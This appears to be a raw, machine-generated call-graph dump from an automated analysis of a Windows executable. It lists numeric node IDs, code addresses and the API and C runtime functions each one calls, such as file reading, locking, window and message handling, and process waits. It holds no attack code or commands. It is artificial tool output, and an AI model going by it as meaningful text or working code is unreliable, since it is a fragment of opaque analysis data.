84799 41823d 84797->84799 84824 418901 46 API calls 2 library calls 84798->84824 84802 416b04 __malloc_crt 45 API calls 84799->84802 84805 41824b __mtinitlocknum 84799->84805 84801 41822a 84825 418752 46 API calls 8 library calls 84801->84825 84804 418256 84802->84804 84807 41825d 84804->84807 84808 41826c 84804->84808 84805->84792 84806 418231 84826 411682 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84806->84826 84827 417f77 46 API calls __getptd_noexit 84807->84827 84809 4182cb __lock 45 API calls 84808->84809 84812 418273 84809->84812 84814 4182a6 84812->84814 84815 41827b InitializeCriticalSectionAndSpinCount 84812->84815 84818 413748 _free 45 API calls 84814->84818 84816 418297 84815->84816 84817 41828b 84815->84817 84829 4182c2 LeaveCriticalSection _doexit 84816->84829 84819 413748 _free 45 API calls 84817->84819 84818->84816 84820 418291 84819->84820 84828 417f77 46 API calls __getptd_noexit 84820->84828 84824->84801 84825->84806 84827->84805 84828->84816 84829->84805 84830->84740 84831->84742 85014 40e6e0 84832->85014 84836 401f41 GetModuleFileNameW 85032 410100 84836->85032 84838 401f5c 85044 410960 84838->85044 84841 401b10 52 API calls 84842 401f81 84841->84842 85047 401980 84842->85047 84844 401f8e 84845 408f40 VariantClear 84844->84845 84846 401f9d 84845->84846 84847 401b10 52 API calls 84846->84847 84848 401fb4 84847->84848 84849 401980 53 API calls 84848->84849 84850 401fc3 84849->84850 84851 401b10 52 API calls 84850->84851 84852 401fd2 84851->84852 85055 40c2c0 84852->85055 84854 401fe1 84855 40bc70 52 API calls 84854->84855 84856 401ff3 84855->84856 85073 401a10 84856->85073 84858 401ffe 85080 4114ab 84858->85080 84861 428b05 84863 401a10 52 API calls 84861->84863 84862 402017 84864 4114ab __wcsicoll 58 API calls 84862->84864 84865 428b18 84863->84865 84866 402022 84864->84866 84868 401a10 52 API calls 84865->84868 84866->84865 84867 40202d 84866->84867 84869 4114ab __wcsicoll 58 API calls 84867->84869 84870 428b33 84868->84870 84871 402038 84869->84871 84873 428b3b GetModuleFileNameW 84870->84873 84872 402043 84871->84872 84871->84873 84874 4114ab __wcsicoll 58 API calls 84872->84874 84875 401a10 52 API calls 84873->84875 84876 40204e 84874->84876 84877 428b6c 84875->84877 84878 402092 84876->84878 84882 401a10 52 API calls 84876->84882 84887 428b90 _wcscpy 84876->84887 84879 40e0a0 52 API calls 84877->84879 84881 4020a3 84878->84881 84878->84887 84880 428b7a 84879->84880 84883 401a10 52 API calls 84880->84883 84884 428bc6 84881->84884 85088 40e830 53 API calls 84881->85088 84885 402073 _wcscpy 84882->84885 84886 428b88 84883->84886 84893 401a10 52 API calls 84885->84893 84886->84887 84890 401a10 52 API calls 84887->84890 84889 4020bb 85089 40cf00 53 API calls 84889->85089 84897 4020d0 84890->84897 84892 4020c6 84894 408f40 VariantClear 84892->84894 84893->84878 84894->84897 84895 402110 84899 408f40 VariantClear 84895->84899 84897->84895 84900 401a10 52 API calls 84897->84900 85090 40cf00 53 API calls 84897->85090 85091 40e6a0 53 API calls 84897->85091 84901 402120 ctype 84899->84901 84900->84897 84901->84746 84903 4295c9 __crtGetStringTypeA_stat 84902->84903 84904 40f53c 84902->84904 84906 4295d9 GetOpenFileNameW 84903->84906 85767 410120 84904->85767 84906->84904 84908 40d5f5 84906->84908 84907 40f545 85771 4102b0 SHGetMalloc 84907->85771 84908->84754 84908->84756 84910 40f54c 85776 410190 GetFullPathNameW 84910->85776 84912 40f559 85787 40f570 84912->85787 85849 402400 84914->85849 84916 40146f 84919 428c29 _wcscat 84916->84919 85858 401500 84916->85858 84918 40147c 84918->84919 85866 40d440 84918->85866 84921 401489 84921->84919 84922 401491 GetFullPathNameW 84921->84922 84923 402160 52 API calls 84922->84923 84924 4014bb 84923->84924 84925 402160 52 API calls 84924->84925 84926 4014c8 84925->84926 84926->84919 84927 402160 52 API calls 84926->84927 84928 4014ee 84927->84928 84928->84756 84930 428361 84929->84930 84931 4103fc LoadImageW RegisterClassExW 84929->84931 85886 44395e EnumResourceNamesW LoadImageW 84930->85886 85885 410490 7 API calls 84931->85885 84934 40d651 84936 410570 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 84934->84936 84935 428368 84936->84768 84938 409202 84937->84938 84939 42d7ad 84937->84939 84994 409216 ctype 84938->84994 86149 410940 331 API calls 84938->86149 86152 45e737 90 API calls 3 library calls 84939->86152 84942 409386 84943 40939c 84942->84943 86150 40f190 10 API calls 84942->86150 84943->84770 85003 401000 Shell_NotifyIconW __crtGetStringTypeA_stat 84943->85003 84945 4095b2 84945->84943 84947 4095bf 84945->84947 84946 409253 PeekMessageW 84946->84994 86151 401a50 331 API calls 84947->86151 84949 42d8cd Sleep 84949->84994 84950 4095c6 LockWindowUpdate DestroyWindow GetMessageW 84950->84943 84951 4095f9 84950->84951 84955 42e158 TranslateMessage DispatchMessageW GetMessageW 84951->84955 84953 42e13b 86170 40d410 VariantClear 84953->86170 84955->84955 84957 42e188 84955->84957 84957->84943 84959 409567 PeekMessageW 84959->84994 84960 44c29d 52 API calls 84995 4094e0 84960->84995 84962 46f3c1 107 API calls 84962->84994 84963 40e0a0 52 API calls 84963->84994 84964 46fdbf 108 API calls 84964->84995 84965 409551 TranslateMessage DispatchMessageW 84965->84959 84967 42dcd2 WaitForSingleObject 84969 42dcf0 GetExitCodeProcess CloseHandle 84967->84969 84967->84994 84968 42dd3d Sleep 84968->84995 86159 40d410 VariantClear 84969->86159 84973 4094cf Sleep 84973->84995 84975 40d410 VariantClear 84975->84994 84977 42d94d timeGetTime 86155 465124 53 API calls 84977->86155 84978 40c620 timeGetTime 84978->84995 84981 465124 53 API calls 84981->84995 84982 42dd89 CloseHandle 84982->84995 84983 47d33e 309 API calls 84983->84994 84985 42de19 GetExitCodeProcess CloseHandle 84985->84995 84986 408f40 VariantClear 84986->84995 84989 42de88 Sleep 84989->84994 84994->84942 84994->84946 84994->84949 84994->84953 84994->84959 84994->84962 84994->84963 84994->84965 84994->84967 84994->84968 84994->84973 84994->84975 84994->84977 84994->84983 84994->84995 84996 42e0cc VariantClear 84994->84996 84997 408f40 VariantClear 84994->84997 84999 45e737 90 API calls 84994->84999 85887 4091b0 84994->85887 85945 40afa0 84994->85945 85971 408fc0 84994->85971 86006 408cc0 84994->86006 86020 4096a0 84994->86020 86147 40d150 TranslateAcceleratorW 84994->86147 86148 40d170 IsDialogMessageW GetClassLongW 84994->86148 86153 465124 53 API calls 84994->86153 86154 40c620 timeGetTime 84994->86154 86169 40e270 VariantClear ctype 84994->86169 84995->84960 84995->84964 84995->84978 84995->84981 84995->84982 84995->84985 84995->84986 84995->84989 84995->84994 84998 401b10 52 API calls 84995->84998 85001 401980 53 API calls 84995->85001 86156 45178a 54 API calls 84995->86156 86157 47d33e 331 API calls 84995->86157 86158 453bc6 54 API calls 84995->86158 86160 40d410 VariantClear 84995->86160 86161 443d19 67 API calls _wcslen 84995->86161 86162 4574b4 VariantClear 84995->86162 86163 403cd0 84995->86163 86167 4731e1 VariantClear 84995->86167 86168 4331a2 6 API calls 84995->86168 84996->84994 84997->84994 84998->84995 84999->84994 85001->84995 85003->84770 85004->84756 85005->84762 85007 401b16 _wcslen 85006->85007 85008 4115d7 52 API calls 85007->85008 85011 401b63 85007->85011 85009 401b4b _memmove 85008->85009 85010 4115d7 52 API calls 85009->85010 85010->85011 85012 40d200 52 API calls 2 library calls 85011->85012 85012->84778 85013->84781 85015 40bc70 52 API calls 85014->85015 85016 401f31 85015->85016 85017 402560 85016->85017 85018 40256d __write_nolock 85017->85018 85019 402160 52 API calls 85018->85019 85021 402593 85019->85021 85031 4025bd 85021->85031 85092 401c90 85021->85092 85022 4026f0 52 API calls 85022->85031 85023 4026a7 85024 401b10 52 API calls 85023->85024 85030 4026db 85023->85030 85026 4026d1 85024->85026 85025 401b10 52 API calls 85025->85031 85096 40d7c0 52 API calls 2 library calls 85026->85096 85028 401c90 52 API calls 85028->85031 85030->84836 85031->85022 85031->85023 85031->85025 85031->85028 85095 40d7c0 52 API calls 2 library calls 85031->85095 85097 40f760 85032->85097 85035 410118 85035->84838 85037 42805d 85038 42806a 85037->85038 85153 431e58 85037->85153 85039 413748 _free 46 API calls 85038->85039 85041 428078 85039->85041 85042 431e58 82 API calls 85041->85042 85043 428084 85042->85043 85043->84838 85045 4115d7 52 API calls 85044->85045 85046 401f74 85045->85046 85046->84841 85048 4019a3 85047->85048 85054 401985 85047->85054 85049 4019b8 85048->85049 85048->85054 85756 403e10 53 API calls 85049->85756 85051 40199f 85051->84844 85053 4019c4 85053->84844 85054->85051 85755 403e10 53 API calls 85054->85755 85056 40c2c7 85055->85056 85057 40c30e 85055->85057 85060 40c2d3 85056->85060 85061 426c79 85056->85061 85058 40c315 85057->85058 85059 426c2b 85057->85059 85064 40c321 85058->85064 85065 426c5a 85058->85065 85062 426c4b 85059->85062 85063 426c2e 85059->85063 85757 403ea0 52 API calls __cinit 85060->85757 85762 4534e3 52 API calls 85061->85762 85760 4534e3 52 API calls 85062->85760 85071 40c2de 85063->85071 85759 4534e3 52 API calls 85063->85759 85758 403ea0 52 API calls __cinit 85064->85758 85761 4534e3 52 API calls 85065->85761 85071->84854 85074 401a30 85073->85074 85075 401a17 85073->85075 85077 402160 52 API calls 85074->85077 85076 401a2d 85075->85076 85763 403c30 52 API calls _memmove 85075->85763 85076->84858 85079 401a3d 85077->85079 85079->84858 85081 411523 85080->85081 85082 4114ba 85080->85082 85766 4113a8 58 API calls 3 library calls 85081->85766 85086 40200c 85082->85086 85764 417f77 46 API calls __getptd_noexit 85082->85764 85085 4114c6 85765 417f25 10 API calls __stricmp_l 85085->85765 85086->84861 85086->84862 85088->84889 85089->84892 85090->84897 85091->84897 85093 4026f0 52 API calls 85092->85093 85094 401c97 85093->85094 85094->85021 85095->85031 85096->85030 85157 40f6f0 85097->85157 85099 40f77b _strcat ctype 85165 40f850 85099->85165 85104 427c2a 85194 414d04 85104->85194 85106 40f7fc 85106->85104 85108 40f804 85106->85108 85181 414a46 85108->85181 85112 40f80e 85112->85035 85116 4528bd 85112->85116 85113 427c59 85200 414fe2 85113->85200 85115 427c79 85117 4150d1 _fseek 81 API calls 85116->85117 85118 452930 85117->85118 85697 452719 85118->85697 85121 452948 85121->85037 85122 414d04 __fread_nolock 61 API calls 85123 452966 85122->85123 85124 414d04 __fread_nolock 61 API calls 85123->85124 85125 452976 85124->85125 85126 414d04 __fread_nolock 61 API calls 85125->85126 85127 45298f 85126->85127 85128 414d04 __fread_nolock 61 API calls 85127->85128 85129 4529aa 85128->85129 85130 4150d1 _fseek 81 API calls 85129->85130 85131 4529c4 85130->85131 85132 4135bb _malloc 46 API calls 85131->85132 85133 4529cf 85132->85133 85134 4135bb _malloc 46 API calls 85133->85134 85135 4529db 85134->85135 85136 414d04 __fread_nolock 61 API calls 85135->85136 85137 4529ec 85136->85137 85138 44afef GetSystemTimeAsFileTime 85137->85138 85139 452a00 85138->85139 85140 452a36 85139->85140 85141 452a13 85139->85141 85142 452aa5 85140->85142 85143 452a3c 85140->85143 85144 413748 _free 46 API calls 85141->85144 85146 413748 _free 46 API calls 85142->85146 85703 44b1a9 85143->85703 85147 452a1c 85144->85147 85149 452aa3 85146->85149 85150 413748 _free 46 API calls 85147->85150 85148 452a9d 85152 413748 _free 46 API calls 85148->85152 85149->85037 85151 452a25 85150->85151 85151->85037 85152->85149 85154 431e64 85153->85154 85155 431e6a 85153->85155 85156 414a46 __fcloseall 82 API calls 85154->85156 85155->85038 85156->85155 85158 425de2 85157->85158 85159 40f6fc _wcslen 85157->85159 85158->85099 85160 40f710 WideCharToMultiByte 85159->85160 85161 40f756 85160->85161 85162 40f728 85160->85162 85161->85099 85163 4115d7 52 API calls 85162->85163 85164 40f735 WideCharToMultiByte 85163->85164 85164->85099 85166 40f85d __crtGetStringTypeA_stat _strlen 85165->85166 85168 40f7ab 85166->85168 85213 414db8 85166->85213 85169 4149c2 85168->85169 85225 414904 85169->85225 85171 40f7e9 85171->85104 85172 40f5c0 85171->85172 85173 40f5cd _strcat __write_nolock _memmove 85172->85173 85174 414d04 __fread_nolock 61 API calls 85173->85174 85175 40f691 __tzset_nolock 85173->85175 85177 425d11 85173->85177 85313 4150d1 85173->85313 85174->85173 85175->85106 85178 4150d1 _fseek 81 API calls 85177->85178 85179 425d33 85178->85179 85180 414d04 __fread_nolock 61 API calls 85179->85180 85180->85175 85182 414a52 __mtinitlocknum 85181->85182 85183 414a64 85182->85183 85184 414a79 85182->85184 85453 417f77 46 API calls __getptd_noexit 85183->85453 85186 415471 __lock_file 47 API calls 85184->85186 85190 414a74 __mtinitlocknum 85184->85190 85188 414a92 85186->85188 85187 414a69 85454 417f25 10 API calls __stricmp_l 85187->85454 85437 4149d9 85188->85437 85190->85112 85522 414c76 85194->85522 85196 414d1c 85197 44afef 85196->85197 85690 442c5a 85197->85690 85199 44b00d 85199->85113 85201 414fee __mtinitlocknum 85200->85201 85202 414ffa 85201->85202 85203 41500f 85201->85203 85694 417f77 46 API calls __getptd_noexit 85202->85694 85205 415471 __lock_file 47 API calls 85203->85205 85207 415017 85205->85207 85206 414fff 85695 417f25 10 API calls __stricmp_l 85206->85695 85209 414e4e __ftell_nolock 51 API calls 85207->85209 85210 415024 85209->85210 85696 41503d LeaveCriticalSection LeaveCriticalSection _fseek 85210->85696 85211 41500a __mtinitlocknum 85211->85115 85214 414dd6 85213->85214 85215 414deb 85213->85215 85222 417f77 46 API calls __getptd_noexit 85214->85222 85215->85214 85220 414df2 85215->85220 85217 414ddb 85223 417f25 10 API calls __stricmp_l 85217->85223 85219 414de6 85219->85166 85220->85219 85224 418f98 77 API calls 5 library calls 85220->85224 85222->85217 85223->85219 85224->85219 85226 414910 __mtinitlocknum 85225->85226 85227 414923 85226->85227 85230 414951 85226->85230 85281 417f77 46 API calls __getptd_noexit 85227->85281 85229 414928 85282 417f25 10 API calls __stricmp_l 85229->85282 85244 41d4d1 85230->85244 85233 414956 85234 41496a 85233->85234 85235 41495d 85233->85235 85237 414992 85234->85237 85238 414972 85234->85238 85283 417f77 46 API calls __getptd_noexit 85235->85283 85261 41d218 85237->85261 85284 417f77 46 API calls __getptd_noexit 85238->85284 85241 414933 __mtinitlocknum @_EH4_CallFilterFunc@8 85241->85171 85245 41d4dd __mtinitlocknum 85244->85245 85246 4182cb __lock 46 API calls 85245->85246 85254 41d4eb 85246->85254 85247 41d560 85286 41d5fb 85247->85286 85248 41d567 85249 416b04 __malloc_crt 46 API calls 85248->85249 85251 41d56e 85249->85251 85251->85247 85253 41d57c InitializeCriticalSectionAndSpinCount 85251->85253 85252 41d5f0 __mtinitlocknum 85252->85233 85255 41d59c 85253->85255 85256 41d5af EnterCriticalSection 85253->85256 85254->85247 85254->85248 85257 418209 __mtinitlocknum 46 API calls 85254->85257 85289 4154b2 47 API calls __lock 85254->85289 85290 415520 LeaveCriticalSection LeaveCriticalSection _doexit 85254->85290 85259 413748 _free 46 API calls 85255->85259 85256->85247 85257->85254 85259->85247 85262 41d23a 85261->85262 85263 41d255 85262->85263 85274 41d26c __wopenfile 85262->85274 85295 417f77 46 API calls __getptd_noexit 85263->85295 85265 41d25a 85296 417f25 10 API calls __stricmp_l 85265->85296 85266 41d47a 85300 417f77 46 API calls __getptd_noexit 85266->85300 85267 41d48c 85292 422bf9 85267->85292 85271 41d47f 85301 417f25 10 API calls __stricmp_l 85271->85301 85272 41499d 85285 4149b8 LeaveCriticalSection LeaveCriticalSection _fseek 85272->85285 85274->85266 85280 41d421 85274->85280 85297 41341f 58 API calls 2 library calls 85274->85297 85276 41d41a 85276->85280 85298 41341f 58 API calls 2 library calls 85276->85298 85278 41d439 85278->85280 85299 41341f 58 API calls 2 library calls 85278->85299 85280->85266 85280->85267 85281->85229 85282->85241 85283->85241 85284->85241 85285->85241 85291 4181f2 LeaveCriticalSection 85286->85291 85288 41d602 85288->85252 85289->85254 85290->85254 85291->85288 85302 422b35 85292->85302 85294 422c14 85294->85272 85295->85265 85296->85272 85297->85276 85298->85278 85299->85280 85300->85271 85301->85272 85304 422b41 __mtinitlocknum 85302->85304 85303 422b54 85305 417f77 __stricmp_l 46 API calls 85303->85305 85304->85303 85306 422b8a 85304->85306 85307 422b59 85305->85307 85308 422400 __tsopen_nolock 109 API calls 85306->85308 85309 417f25 __stricmp_l 10 API calls 85307->85309 85310 422ba4 85308->85310 85312 422b63 __mtinitlocknum 85309->85312 85311 422bcb __wsopen_helper LeaveCriticalSection 85310->85311 85311->85312 85312->85294 85315 4150dd __mtinitlocknum 85313->85315 85314 4150e9 85344 417f77 46 API calls __getptd_noexit 85314->85344 85315->85314 85316 41510f 85315->85316 85326 415471 85316->85326 85319 4150ee 85345 417f25 10 API calls __stricmp_l 85319->85345 85325 4150f9 __mtinitlocknum 85325->85173 85327 415483 85326->85327 85328 4154a5 EnterCriticalSection 85326->85328 85327->85328 85329 41548b 85327->85329 85330 415117 85328->85330 85331 4182cb __lock 46 API calls 85329->85331 85332 415047 85330->85332 85331->85330 85333 415067 85332->85333 85334 415057 85332->85334 85339 415079 85333->85339 85347 414e4e 85333->85347 85402 417f77 46 API calls __getptd_noexit 85334->85402 85338 41505c 85346 415143 LeaveCriticalSection LeaveCriticalSection _fseek 85338->85346 85364 41443c 85339->85364 85342 4150b9 85377 41e1f4 85342->85377 85344->85319 85345->85325 85346->85325 85348 414e61 85347->85348 85349 414e79 85347->85349 85403 417f77 46 API calls __getptd_noexit 85348->85403 85350 414139 __stbuf 46 API calls 85349->85350 85352 414e80 85350->85352 85355 41e1f4 __write 51 API calls 85352->85355 85353 414e66 85404 417f25 10 API calls __stricmp_l 85353->85404 85356 414e97 85355->85356 85357 414f09 85356->85357 85359 414ec9 85356->85359 85363 414e71 85356->85363 85405 417f77 46 API calls __getptd_noexit 85357->85405 85360 41e1f4 __write 51 API calls 85359->85360 85359->85363 85361 414f64 85360->85361 85362 41e1f4 __write 51 API calls 85361->85362 85361->85363 85362->85363 85363->85339 85365 414477 85364->85365 85366 414455 85364->85366 85370 414139 85365->85370 85366->85365 85367 414139 __stbuf 46 API calls 85366->85367 85368 414470 85367->85368 85406 41b7b2 77 API calls 6 library calls 85368->85406 85371 414145 85370->85371 85372 41415a 85370->85372 85407 417f77 46 API calls __getptd_noexit 85371->85407 85372->85342 85374 41414a 85408 417f25 10 API calls __stricmp_l 85374->85408 85376 414155 85376->85342 85378 41e200 __mtinitlocknum 85377->85378 85379 41e223 85378->85379 85380 41e208 85378->85380 85381 41e22f 85379->85381 85386 41e269 85379->85386 85429 417f8a 46 API calls __getptd_noexit 85380->85429 85431 417f8a 46 API calls __getptd_noexit 85381->85431 85384 41e20d 85430 417f77 46 API calls __getptd_noexit 85384->85430 85385 41e234 85432 417f77 46 API calls __getptd_noexit 85385->85432 85409 41ae56 85386->85409 85390 41e215 __mtinitlocknum 85390->85338 85391 41e23c 85433 417f25 10 API calls __stricmp_l 85391->85433 85392 41e26f 85394 41e291 85392->85394 85395 41e27d 85392->85395 85434 417f77 46 API calls __getptd_noexit 85394->85434 85419 41e17f 85395->85419 85398 41e296 85435 417f8a 46 API calls __getptd_noexit 85398->85435 85399 41e289 85436 41e2c0 LeaveCriticalSection __unlock_fhandle 85399->85436 85402->85338 85403->85353 85404->85363 85405->85363 85406->85365 85407->85374 85408->85376 85410 41ae62 __mtinitlocknum 85409->85410 85411 41aebc 85410->85411 85412 4182cb __lock 46 API calls 85410->85412 85413 41aec1 EnterCriticalSection 85411->85413 85414 41aede __mtinitlocknum 85411->85414 85415 41ae8e 85412->85415 85413->85414 85414->85392 85416 41aeaa 85415->85416 85417 41ae97 InitializeCriticalSectionAndSpinCount 85415->85417 85418 41aeec ___lock_fhandle LeaveCriticalSection 85416->85418 85417->85416 85418->85411 85420 41aded __chsize_nolock 46 API calls 85419->85420 85421 41e18e 85420->85421 85422 41e1a4 SetFilePointer 85421->85422 85423 41e194 85421->85423 85425 41e1bb GetLastError 85422->85425 85426 41e1c3 85422->85426 85424 417f77 __stricmp_l 46 API calls 85423->85424 85427 41e199 85424->85427 85425->85426 85426->85427 85428 417f9d __dosmaperr 46 API calls 85426->85428 85427->85399 85428->85427 85429->85384 85430->85390 85431->85385 85432->85391 85433->85390 85434->85398 85435->85399 85436->85390 85438 4149ea 85437->85438 85439 4149fe 85437->85439 85483 417f77 46 API calls __getptd_noexit 85438->85483 85442 41443c __flush 77 API calls 85439->85442 85445 4149fa 85439->85445 85441 4149ef 85484 417f25 10 API calls __stricmp_l 85441->85484 85444 414a0a 85442->85444 85456 41d8c2 85444->85456 85455 414ab2 LeaveCriticalSection LeaveCriticalSection _fseek 85445->85455 85448 414139 __stbuf 46 API calls 85449 414a18 85448->85449 85460 41d7fe 85449->85460 85451 414a1e 85451->85445 85452 413748 _free 46 API calls 85451->85452 85452->85445 85453->85187 85454->85190 85455->85190 85457 414a12 85456->85457 85458 41d8d2 85456->85458 85457->85448 85458->85457 85459 413748 _free 46 API calls 85458->85459 85459->85457 85461 41d80a __mtinitlocknum 85460->85461 85462 41d812 85461->85462 85463 41d82d 85461->85463 85500 417f8a 46 API calls __getptd_noexit 85462->85500 85464 41d839 85463->85464 85469 41d873 85463->85469 85502 417f8a 46 API calls __getptd_noexit 85464->85502 85467 41d817 85501 417f77 46 API calls __getptd_noexit 85467->85501 85468 41d83e 85503 417f77 46 API calls __getptd_noexit 85468->85503 85472 41ae56 ___lock_fhandle 48 API calls 85469->85472 85474 41d879 85472->85474 85473 41d846 85504 417f25 10 API calls __stricmp_l 85473->85504 85476 41d893 85474->85476 85477 41d887 85474->85477 85505 417f77 46 API calls __getptd_noexit 85476->85505 85485 41d762 85477->85485 85479 41d81f __mtinitlocknum 85479->85451 85481 41d88d 85506 41d8ba LeaveCriticalSection __unlock_fhandle 85481->85506 85483->85441 85484->85445 85507 41aded 85485->85507 85487 41d7c8 85520 41ad67 47 API calls 2 library calls 85487->85520 85489 41d772 85489->85487 85490 41d7a6 85489->85490 85492 41aded __chsize_nolock 46 API calls 85489->85492 85490->85487 85493 41aded __chsize_nolock 46 API calls 85490->85493 85491 41d7d0 85494 41d7f2 85491->85494 85521 417f9d 46 API calls 3 library calls 85491->85521 85495 41d79d 85492->85495 85496 41d7b2 CloseHandle 85493->85496 85494->85481 85498 41aded __chsize_nolock 46 API calls 85495->85498 85496->85487 85499 41d7be GetLastError 85496->85499 85498->85490 85499->85487 85500->85467 85501->85479 85502->85468 85503->85473 85504->85479 85505->85481 85506->85479 85508 41adfa 85507->85508 85509 41ae12 85507->85509 85510 417f8a __close 46 API calls 85508->85510 85512 417f8a __close 46 API calls 85509->85512 85515 41ae51 85509->85515 85511 41adff 85510->85511 85513 417f77 __stricmp_l 46 API calls 85511->85513 85514 41ae23 85512->85514 85516 41ae07 85513->85516 85517 417f77 __stricmp_l 46 API calls 85514->85517 85515->85489 85516->85489 85518 41ae2b 85517->85518 85519 417f25 __stricmp_l 10 API calls 85518->85519 85519->85516 85520->85491 85521->85494 85523 414c82 __mtinitlocknum 85522->85523 85524 414cc3 85523->85524 85525 414c96 __crtGetStringTypeA_stat 85523->85525 85526 414cbb __mtinitlocknum 85523->85526 85527 415471 __lock_file 47 API calls 85524->85527 85549 417f77 46 API calls __getptd_noexit 85525->85549 85526->85196 85529 414ccb 85527->85529 85535 414aba 85529->85535 85530 414cb0 85550 417f25 10 API calls __stricmp_l 85530->85550 85539 414ad8 __crtGetStringTypeA_stat 85535->85539 85542 414af2 85535->85542 85536 414ae2 85602 417f77 46 API calls __getptd_noexit 85536->85602 85538 414ae7 85603 417f25 10 API calls __stricmp_l 85538->85603 85539->85536 85539->85542 85546 414b2d 85539->85546 85551 414cfa LeaveCriticalSection LeaveCriticalSection _fseek 85542->85551 85543 414c38 __crtGetStringTypeA_stat 85605 417f77 46 API calls __getptd_noexit 85543->85605 85545 414139 __stbuf 46 API calls 85545->85546 85546->85542 85546->85543 85546->85545 85552 41dfcc 85546->85552 85582 41d8f3 85546->85582 85604 41e0c2 46 API calls 3 library calls 85546->85604 85549->85530 85550->85526 85551->85526 85553 41dfd8 __mtinitlocknum 85552->85553 85554 41dfe0 85553->85554 85555 41dffb 85553->85555 85675 417f8a 46 API calls __getptd_noexit 85554->85675 85556 41e007 85555->85556 85561 41e041 85555->85561 85677 417f8a 46 API calls __getptd_noexit 85556->85677 85559 41dfe5 85676 417f77 46 API calls __getptd_noexit 85559->85676 85560 41e00c 85678 417f77 46 API calls __getptd_noexit 85560->85678 85564 41e063 85561->85564 85565 41e04e 85561->85565 85566 41ae56 ___lock_fhandle 48 API calls 85564->85566 85680 417f8a 46 API calls __getptd_noexit 85565->85680 85569 41e069 85566->85569 85567 41e014 85679 417f25 10 API calls __stricmp_l 85567->85679 85571 41e077 85569->85571 85572 41e08b 85569->85572 85570 41e053 85681 417f77 46 API calls __getptd_noexit 85570->85681 85606 41da15 85571->85606 85682 417f77 46 API calls __getptd_noexit 85572->85682 85577 41e083 85684 41e0ba LeaveCriticalSection __unlock_fhandle 85577->85684 85578 41e090 85683 417f8a 46 API calls __getptd_noexit 85578->85683 85581 41dfed __mtinitlocknum 85581->85546 85583 41d900 85582->85583 85586 41d915 85582->85586 85688 417f77 46 API calls __getptd_noexit 85583->85688 85585 41d905 85689 417f25 10 API calls __stricmp_l 85585->85689 85588 41d94a 85586->85588 85593 41d910 85586->85593 85685 420603 85586->85685 85590 414139 __stbuf 46 API calls 85588->85590 85591 41d95e 85590->85591 85592 41dfcc __read 59 API calls 85591->85592 85594 41d965 85592->85594 85593->85546 85594->85593 85595 414139 __stbuf 46 API calls 85594->85595 85596 41d988 85595->85596 85596->85593 85597 414139 __stbuf 46 API calls 85596->85597 85598 41d994 85597->85598 85598->85593 85599 414139 __stbuf 46 API calls 85598->85599 85600 41d9a1 85599->85600 85601 414139 __stbuf 46 API calls 85600->85601 85601->85593 85602->85538 85603->85542 85604->85546 85605->85538 85607 41da31 85606->85607 85608 41da4c 85606->85608 85609 417f8a __close 46 API calls 85607->85609 85610 41da5b 85608->85610 85612 41da7a 85608->85612 85611 41da36 85609->85611 85613 417f8a __close 46 API calls 85610->85613 85615 417f77 __stricmp_l 46 API calls 85611->85615 85614 41da98 85612->85614 85629 41daac 85612->85629 85616 41da60 85613->85616 85618 417f8a __close 46 API calls 85614->85618 85626 41da3e 85615->85626 85617 417f77 __stricmp_l 46 API calls 85616->85617 85620 41da67 85617->85620 85622 41da9d 85618->85622 85619 41db02 85621 417f8a __close 46 API calls 85619->85621 85623 417f25 __stricmp_l 10 API calls 85620->85623 85624 41db07 85621->85624 85625 417f77 __stricmp_l 46 API calls 85622->85625 85623->85626 85627 417f77 __stricmp_l 46 API calls 85624->85627 85628 41daa4 85625->85628 85626->85577 85627->85628 85632 417f25 __stricmp_l 10 API calls 85628->85632 85629->85619 85629->85626 85630 41dae1 85629->85630 85631 41db1b 85629->85631 85630->85619 85638 41daec ReadFile 85630->85638 85634 416b04 __malloc_crt 46 API calls 85631->85634 85632->85626 85635 41db31 85634->85635 85639 41db59 85635->85639 85640 41db3b 85635->85640 85636 41dc17 85637 41df8f GetLastError 85636->85637 85645 41dc2b 85636->85645 85641 41de16 85637->85641 85642 41df9c 85637->85642 85638->85636 85638->85637 85646 420494 __lseeki64_nolock 48 API calls 85639->85646 85644 417f77 __stricmp_l 46 API calls 85640->85644 85649 417f9d __dosmaperr 46 API calls 85641->85649 85669 41dd9b 85641->85669 85643 417f77 __stricmp_l 46 API calls 85642->85643 85647 41dfa1 85643->85647 85648 41db40 85644->85648 85654 41dc47 85645->85654 85662 41de5b 85645->85662 85645->85669 85650 41db67 85646->85650 85651 417f8a __close 46 API calls 85647->85651 85652 417f8a __close 46 API calls 85648->85652 85649->85669 85650->85638 85651->85669 85652->85626 85653 413748 _free 46 API calls 85653->85626 85655 41dcab ReadFile 85654->85655 85661 41dd28 85654->85661 85657 41dcc9 GetLastError 85655->85657 85667 41dcd3 85655->85667 85656 41ded0 ReadFile 85658 41deef GetLastError 85656->85658 85665 41def9 85656->85665 85657->85654 85657->85667 85658->85662 85658->85665 85659 41ddec MultiByteToWideChar 85660 41de10 GetLastError 85659->85660 85659->85669 85660->85641 85663 41dda3 85661->85663 85664 41dd96 85661->85664 85661->85669 85670 41dd60 85661->85670 85662->85656 85662->85669 85663->85670 85671 41ddda 85663->85671 85666 417f77 __stricmp_l 46 API calls 85664->85666 85665->85662 85668 420494 __lseeki64_nolock 48 API calls 85665->85668 85666->85669 85667->85654 85672 420494 __lseeki64_nolock 48 API calls 85667->85672 85668->85665 85669->85626 85669->85653 85670->85659 85673 420494 __lseeki64_nolock 48 API calls 85671->85673 85672->85667 85674 41dde9 85673->85674 85674->85659 85675->85559 85676->85581 85677->85560 85678->85567 85679->85581 85680->85570 85681->85567 85682->85578 85683->85577 85684->85581 85686 416b04 __malloc_crt 46 API calls 85685->85686 85687 420618 85686->85687 85687->85588 85688->85585 85689->85593 85693 4148b3 GetSystemTimeAsFileTime __aulldiv 85690->85693 85692 442c6b 85692->85199 85693->85692 85694->85206 85695->85211 85696->85211 85701 45272f __tzset_nolock _wcscpy 85697->85701 85698 4528a4 85698->85121 85698->85122 85699 414d04 61 API calls __fread_nolock 85699->85701 85700 44afef GetSystemTimeAsFileTime 85700->85701 85701->85698 85701->85699 85701->85700 85702 4150d1 81 API calls _fseek 85701->85702 85702->85701 85704 44b1bc 85703->85704 85705 44b1ca 85703->85705 85706 4149c2 116 API calls 85704->85706 85707 44b1e1 85705->85707 85708 4149c2 116 API calls 85705->85708 85709 44b1d8 85705->85709 85706->85705 85738 4321a4 85707->85738 85710 44b2db 85708->85710 85709->85148 85710->85707 85712 44b2e9 85710->85712 85716 44b2f6 85712->85716 85718 414a46 